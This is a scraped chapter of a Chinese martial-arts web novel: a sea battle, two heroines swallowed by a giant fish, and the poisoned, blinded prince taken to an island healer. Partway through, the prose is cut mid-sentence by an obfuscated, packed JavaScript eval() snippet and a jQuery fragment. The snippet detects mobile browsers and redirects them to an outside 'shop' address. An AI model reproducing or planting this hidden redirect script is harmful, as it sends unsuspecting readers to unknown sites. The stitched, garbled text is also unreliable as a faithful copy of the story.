83.溟南卷·第十八章
作品:《并骑弈飘飖》 18
返回去救邹杲他们已经来不及了,李棋甚至没回头去查看他们的情况。
水浪翻飞的瞬间,李棋降低重心,猛地朝男人滑铲而去。
同一时间,她猛地挣脱了手上的束缚,拔下了束发的金簪,长发飞散,但无所谓。
“你……啊!”
男人惊慌的话音才开了个口,就被痛苦的叫声取代,李棋一簪子扎穿了男人的右脚,和船板钉在了一起。
同一时间,汪元菱猛地一个头槌,也撞得男人头破血流、鲜血飞溅。
李棋反手抓住汪元菱的脚踝,兀地转身,猛往男人左腿蹬了一脚借力,如离弦的急箭一般,抓着汪元菱一齐飞了出去。
原翔愤怒咆哮,“射箭!射箭!给我射死她们!”
箭雨凶猛而来,李棋没时间回头去看,只能听声辨位,努力躲闪着往前跑。
生死关头,她爆发了惊人的潜力,跟猫一般,接连数箭,竟然都被带着汪元菱的她躲开了。
李棋还听到了男人更加恼怒的吼骂。
他们的船的船尾几乎被大鱼拍得稀碎。
李棋堪堪躲过这一击,落在原本的船尾、而如今却漂浮在海面的碎木板上。
早有防备的同伴也架好了弩箭,鬼机灵和王安更是直接跑过来接应。
趁着身后追兵更换箭矢的间隙,她当即站定,高喊一声“接住了!”,下一瞬就将情况不太妙的汪元菱先扔了过去。
身后,男人咆哮大骂:“废物,都站着干什么?还不继续射!”
邹杲闻言大惊,连声催促,“小棋儿,快过来!”
“好!”李棋应着,再次借力跃起。
她都已经飞在半空,眼见就要落到邹杲面前,突然,数箭齐发。
眼见若干箭矢要将李棋将射成筛子,李棋都不知道哪来的力量,一咬牙,在半空中来了个腾跃,勉强躲过。
几只箭矢擦着李棋下垂的头皮、发梢飞过,可不等李棋松一口气,她看到:这些她堪堪躲过的箭矢纷纷朝邹杲等人射了过去,邹杲双目失明,对环境又不熟悉,虽闪身躲了,却没完全躲开。
眼见邹杲要被正面射中,乔树突然飞扑向邹杲,用自己的身体护住邹杲,后背却中了两箭,倒靠在邹杲怀中根本没力气动弹。
另一边,鬼机灵和王安也才堪堪接住汪元菱,但没来得及躲,鬼机灵右臂中了一箭,王安为了护住汪元菱,左后肩也中了一箭。
噗呲——
又是一支箭矢射穿皮肉,这一次射穿的,是李棋还未收下来的右腿大腿,横穿而过。
她瞬间就失力坠落下去,伸出去的手距离邹杲等人所在的船身只差一点点,但失之毫厘差之千里。
只听又是一道口哨声响起,比起之前,更加舒缓,也更加阴寒。
水中的庞然大物以极快的速度来到李棋附近,它也没主动攻击,只潜在海面之下,仿佛等待羔羊主动送上门来的猛虎一般。
邹杲和鬼机灵都喊得撕心裂肺,但两人都被拉住,也都来不及了。
千钧一发之际,一道身影从他们身后的高处跳下,划破长空,还不等看清是谁,九龙神鞭被她甩出。
可那人内力一般,九龙神鞭还是完整一条,但也够缠住李棋了。
众人也终于看清,冲出去救人的是绿意,她腰上缠了一条粗长的麻绳,另一端还紧握在单手抱挂在桅杆之上的青怜手中。
两人趁机爬到高处,本是想趁机射杀男人的。
谁料……
也幸好!
绿意落在一块碎木头上,才将跌入水中的李棋拉起来,哨声突变,大鱼长大嘴巴朝她们咬来。
其嘴巴之大,两人根本无处躲藏。
众人大骇。
甚至来不及说话,绿意一咬牙,当即就把还没站稳的李棋甩了出去。
在大鱼的血盆大口将绿意吞吃的前一瞬,绿意笑着松开了手中握着的鞭把。
“不——”
众人悲痛万分之时,只见已经脱离危险的力气突然抓住那根绷紧的绳索。
只见她猴子一样,顺着绳子手脚并用往前面爬去。
哨声又变了,大鱼猛地朝李棋转过头来,直接将李棋也吞入腹中。
只留一条鞭子落在船板上,昭示着刚刚发生的一切并非噩梦。
哨声变得急切,大鱼转身就跑,绳索另一边的青怜无法接受、不愿放手,被生生拖拽了下来。
她像是心死了一般,也不松手,紧紧抓着绳索,任由大鱼拖拽着她离去。
千钧一发之际,还是孟山斩断绳索,将她抓了回来。
不等众人做出反应,邹杲掏出怀中的小灵狐丢给失魂落魄的青怜,飞身踏着散落在海面上的碎木板追了出去。
“姐姐!!!”
鬼机灵喊得撕心裂肺,他猛地折断箭身,都顾不得包扎,就跟着也追了出去。
男人也罕见的没有再停留,带着几个心腹跳到大鱼背上,猛一吹口哨,大鱼疾驰而去,很快不见了身影。
邹杲和鬼机灵追到他们的船上时,大鱼已经跑远,只留有无边无际的海水。
不等急火攻心的邹杲盲目追出去,留在船上、再次准备好弓弩的的人当即朝他们射出,才堪堪躲过,又提刀朝他们冲过来,端的是不死不休的架势。
鬼机灵抽出腰间软剑,冷峻的脸很快被鲜血染红。
邹杲虽赤手空拳,还双目失明,但杀人的速度却一点不输鬼机灵。
不多时,他附近倒了一大片,几乎都身首异处、被扭断了脖子,极少数手臂手掌还被生生撕扯下来。
场面之血腥残暴,若非此刻情况紧迫,不少人看了定要不寒而栗。
但此时此刻,所有人都沉浸在李棋和绿意下落不明生死未卜、同伴瞬息惨死的悲痛中。
他们不会觉得惨,只恨不得生啖其肉。
连从没杀过人的汪元菱都捡起剑杀了好几个人。
小船上的敌人被杀干净,顾不得把船上的尸体清理掉,邹杲便下令道:“开船!朝他们消失的方向追上去。”
话音未落,几人异口同声道:“你不能去!”
鬼机灵才生拔出右臂中的肩头,一边快速包扎止血,一边走向他,沉声道:“你刚刚强行动用内力,此刻应该又开始发热了吧?”
汪元菱几人一惊,关切的话还没说出口,就听邹杲气息沉稳道:“我没事,”
话没说完,鬼机灵嗤笑出声,“你未免也太低看小七姐姐和我伯伯了。”
邹杲闭上嘴说不出话来。
鬼机灵抬起头看向他,又说:“那蛊又在冲撞你心口的皮肉了吧。”
邹杲闻言下意识躬了躬身,这无疑是欲盖弥彰。
鬼机灵又呵笑一声,忽地,他起身抢过王安原本挂在腰间,此刻却拿着在清洗伤口的酒朝邹杲泼去。
邹杲虽敏锐躲开了,但也有些许落到他身上,酒水接触他肌肤的瞬间就蒸腾成了水汽,滋啦作响。
几人大惊失色,“怎么会烫成这样?”汪元菱才抓起邹杲的手,就被烫得本能扔了出去。
“你体内的蛊虫很强大,但你身体现在的热度至远远高过常人,就算是小七姐姐在这,也没法再帮你把身体温度降下去了,若不冷静下来,再强行动用内力,你自己就能把自己从内到外煮熟,然后死去。”
鬼机灵冷静阐述完,又说,“这里离虚无岛已经很近了,你冷静下来,立刻赶过去,才有命活着见到小七姐姐。”
邹杲坚定摇头,“我们必须马上去救小棋儿。”
鬼机灵直接不管邹杲,他看向王安和孟山,“你们还愣着做什么,把他带走,别在这添乱。”
两人快步走到邹杲面前,低声劝道:“王爷,咱先去解毒吧?”
邹杲还是摇头,他越过两人,面向鬼机灵的方向,也是奇了,邹杲明明看不见,垂首的高低却刚好让他的双目对准鬼机灵的双眼,就好像他正看着鬼机灵一样。
“以你的身手,就算我把所有人都给你,你也很难救出小棋儿。”
鬼机灵闻言也沉默了。
突然,却听汪元菱一咬牙道,“我去救她。”
几人一愣,纷纷看向汪元菱。
有些难以启齿,但汪元菱还是看向几人说:“若不是我执意要来,也不会有现在的意外。”
见她说不出什么有用的,几人纷纷移开视线。
汪元菱咬了咬嘴唇,又说:“我们浩然山庄有一种寻踪的鸟,姑姑发现我不在溟南城了,一定会派人来找我。我水性还是所有人里最好的,只要不再遇到刚刚那种庞然大物,在水中除了我浩然山庄的长辈,江湖上没几个人能抓住我。”
她说,“我就算没法救出她,只要能找到她,就能带着她在水中藏到我姑姑来。”
她看向鬼机灵,又说,“你身上有伤,还是先带着阿茭哥哥去解毒,等阿茭哥哥解了毒,最好再说动你家中长辈来接应我们,这样胜算更大。”
鬼机灵沉思片刻,直勾勾看向汪元菱,看得汪元菱心慌不已。
但她没有半分心虚,她是真的愿意去救李棋,哪怕要舍弃她的性命,就当还李棋了。
“手伸出来。”鬼机灵对她说。
“什么?”汪元菱诧异归诧异,还是将手伸了出去。
鬼机灵抓住她的手,用指甲在手心掐出一道伤口,一只小虫子顺着她的手很快爬进伤口之中。
很神奇,小虫子进去才舔了几下,伤口居然粘合了,全程没有见到任何血。
“它脑袋所指的方向,就是姐姐的所在。”他又将李棋的腰包和九龙神鞭递给汪元菱,“腰包里有一种吸食血肉的虫子,关键时候能帮上你。”
汪元菱郑重点头,看看他,又看看邹杲,保证道,“阿茭哥哥,除非我死了,否则我一定会把她活着带回来。”
没有那么多时间拖延,鬼机灵给了孟山一个眼神,两人一左一右抓起还欲再说什么的邹杲,直接飞身离开了小船。
王安等汪元菱挑选好人手,带着其他人也走了。
小船很快远去。
大船上再没有欢乐轻快,所有人都只沉默做着事。
船还没修复好,邹杲倒下了,还七窍流黑血,给所有人都吓得不轻,但鬼机灵叫人将他抬回房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951650|188740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,给他扎了针,后把他扔到凉水里,交给青怜看着就没再管他。
邹杲的体温太烫了,小灵狐想靠近又不敢,只好窝在同样悲痛的青怜怀中。
一人一狐窝在浴桶旁,同样的眼神空洞,若非邹杲交由她们看顾,她们估计能维持许久许久。
太阳西斜,只剩半截多的船终于修复到能继续行驶的程度。
一众人立刻往虚无岛而去。
*
隔天凌晨,太阳还未升起,一行人就先登了岛。
孟山命人拆了好几张船板,抬着邹杲和几个重伤的兄弟,跟着鬼机灵穿过幽深复杂的隧道,许久许久,才终于看到一点亮光。
老远,就看到有一白发白髯的老翁站在入口处等他们,此人正是鬼旸。
看到亲近的人,想起昨日那凶险的遭遇,鬼机灵所有的委屈无助都涌了上来,“爷爷…”
鬼机灵带着哭腔才喊了声,鬼旸就上前摸了摸他的脑袋,“你已经做得很好了。”
他扫视一圈,随即皱眉又问:“小七怎么没来?”
一说起李棋,鬼机灵更是悲从中来。
鬼旸虽然不知道发生了什么,但也能大概猜到,多半就是九死一生的境遇。
他叹了口气,“你去喊小一他们起来帮忙,然后回屋去好好处理下身上的伤口。”
鬼机灵说不出话来,只擦去眼泪,点点头朝不远处的房屋走去。
鬼旸又叹了口气,看向王安等人问:“哪位是常胜王?”
孟山连忙抬着邹杲上前来,他七窍流出的黑血虽被青怜擦干净了,但陆续在流,这一路不算短,又堆积了一些,忙于赶路,青怜都没时间给他擦干净。
他的胸腔近乎没有起伏,配上他惨白的脸唇,和尸体已经没有太大区别了。
鬼旸眉目紧锁,“怎么搞成这样才来?快把他抬过来。”
孟山和王安抬着人连忙跟上。
鬼旸带着他们去到房屋正中间,至少需要四五个成年男子同时展臂才能环抱的大树前。
大树树根攀枝错节,苔藓菌类丛生,各种蛇虫万分活跃,但上方却几乎枝叶,所以也看不出其品种。
顶端,有一个不到两丈宽的洞口,是日光和月光唯一能照进来的途径。
此刻,缓缓探头的日光虽透过其洒在邹杲身上,却没能给邹杲增添半分生机。
“把他身上的衣物脱干净,头发全部低束在脑后。”鬼旸说罢,闪身离去。
他前脚才走,后脚,大树上的蛇虫就纷纷探出头来,各种声响,饶是孟山和王安见了不少血腥,也瘆得慌。
好在,它们没有贸然攻击,鬼旸也很快回来了。
鬼旸第一时间检查起邹杲心口横冲直撞想要冲破血肉出来的蛊虫,他脸色在顷刻间变得凝重。
但很快,就见他从容伸出手在邹杲心口揉按着,不多时,硬生生将蛊虫逼进了它原本的寄居地。
“看到那个水缸了吗?”鬼旸指着树根处一个倒扣的水缸,两人才点头,他就又说,“搬开。”
两人自然照做,鬼旸也拿出一根足有李棋那些银针十根粗的银针,跟要烤肉前腌制肉食一般,挨着扎在邹杲身上。
另一边,两人也走到大缸前,才伸出手,就听鬼旸又说:“别摔进去,他可等不及我再配一罐。”
“好。”
两人都吞咽起口水,紧张得不行。
看着彼此,连着深呼吸好几次,两人才一咬牙,朝那大缸伸出手。
虽然做好了准备,但显然做少了。
打开的瞬间,一条颜色鲜艳的蛇探出脑袋,给两人吓了一大跳,豆大的汗水瞬间就下来了,不过,两人却没有乱动分毫。
不仅蛇是活的,蜈蚣、蝎子、老鼠……浓稠腥臭的液体中,聚集了各种叫得上的、叫不上的毒物。
“过来,还有活要你们干。”
闻言,两人才反应过来,他们都欲言又止,但见鬼旸面容冷峻,又不敢质疑。
“幽冥蝎和紫珠蚌呢?”
闻言,两人纷纷撕开衣物,倒是惊了鬼旸一下。
两人敞开衣服,将一层层包裹在腰腹间、装着珍贵药材的小木盒取下,双手捧着递给鬼旸。
“捣碎。”
两人连忙拿起地上的两个石臼捶捣起来。
“捣成粉末状,这是保证他的身体不被那些毒物啃食的关键,其中重要性你们知道了哈。”
两人连连点头,明明是蹲着的,腰板却都绷直了,一个塞一个认真。
从日出忙到日中,邹杲终于被‘腌制’好,两人又搭手给邹杲穿上了一身满是孔洞的金缕玉衣。
然后,邹杲就被放到了满是毒物的大缸里,唯一留在外面的脑袋还被扎上了三根银针。
鬼旸欣赏了一会儿,才满意说:“每日早中晚,给他用参汤润唇。”
两人连连点头,踌躇片刻,王安问:“请问老前辈,我家王爷大概多久能醒来?”
闻言,鬼旸脸上的满意全无,他直摇头。
转身负手离去,走出去好几步,两人才听他说,“这就要看他造化喽,快则月余,”

